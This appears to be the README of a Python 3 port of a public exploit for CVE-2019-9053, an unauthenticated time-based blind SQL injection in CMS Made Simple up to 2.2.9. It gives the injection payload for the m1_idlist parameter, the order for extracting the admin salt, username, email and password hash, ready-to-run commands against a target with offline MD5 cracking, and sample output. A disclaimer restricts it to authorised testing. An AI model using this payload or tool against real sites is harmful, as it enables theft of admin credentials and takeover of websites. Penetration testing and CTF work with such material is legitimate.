
Unauthenticated time-based blind SQL injection exploit for CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), ported to Python 3.
Disclaimer: This tool is intended for authorized penetration testing and educational purposes only. Running this against systems without explicit written permission is illegal. The author assumes no liability for misuse.
This is a Python 3 port of the public exploit for CVE-2019-9053 — an unauthenticated time-based blind SQL injection vulnerability in CMS Made Simple ≤ 2.2.9.
The vulnerable parameter is m1_idlist on the /moduleinterface.php endpoint (News module). User input is passed unsanitised into a SQL query, allowing an unauthenticated attacker to extract the admin salt, username, email, and password hash — and optionally crack the password offline.
Original exploit by Daniele Scanu @ Certimeter Group.
Python 3 port with fixes and clean-up.
The exploit uses a timing oracle — it injects SELECT sleep(T) into a SQL LIKE condition and measures the HTTP response time. If the server stalls ≥ T seconds, the injected condition was true. This allows data to be extracted one character at a time without any data ever appearing in the HTTP response body.
Payload structure:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
Extraction order:
| Step | Field | Table | Notes |
|---|---|---|---|
| 1 | Salt | cms_siteprefs | Required to crack the password |
| 2 | Username | cms_users | user_id = 1 (admin) |
| 3 | cms_users | user_id = 1 (admin) | |
| 4 | Password | cms_users | Stored as MD5(salt + password) |
After extraction, optional offline dictionary attack computes MD5(salt + word) against a wordlist — no further network requests needed.
The original script was written for Python 2. The following breaking changes were fixed:
| # | Change | Reason |
|---|---|---|
| 1 | print "..." → print("...") | print is a function in Python 3 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() requires bytes in Python 3 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict shadows a built-in; switched to context manager |
| 4 | print "\033c" → print("\033c", end="") | Avoids double newline on terminal clear |
| 5 | print colored(...) → print(colored(...)) | colored() returns a string; needs print() wrapper |
pip3 install requests termcolor
| Dependency | Purpose |
|---|---|
requests | HTTP requests to the target |
termcolor | Coloured terminal output |
# Basic extraction (no password cracking)
python3 exploit.py -u http://<target-ip>/simple
# Extraction + offline password cracking
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| Flag | Description |
|---|---|
-u, --url | Base URL of the CMS Made Simple installation |
-w, --wordlist | Path to a wordlist for offline password cracking |
-c, --crack | Enable password cracking mode |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
| Field | Value |
|---|---|
| CVE ID | CVE-2019-9053 |
| CVSS Score | 7.5 (High) |
| Type | Unauthenticated Time-Based Blind SQL Injection |
| Affected | CMS Made Simple ≤ 2.2.9 |
| Parameter | m1_idlist in News module |
| Auth needed | None |
| Patch | CMS Made Simple 2.2.10+ |
This exploit is provided for authorized penetration testing and CTF/educational use only.
Unauthorized use against systems you do not own or have explicit written permission to test is a criminal offence under the IT Act, 2000 (India) and equivalent laws worldwide.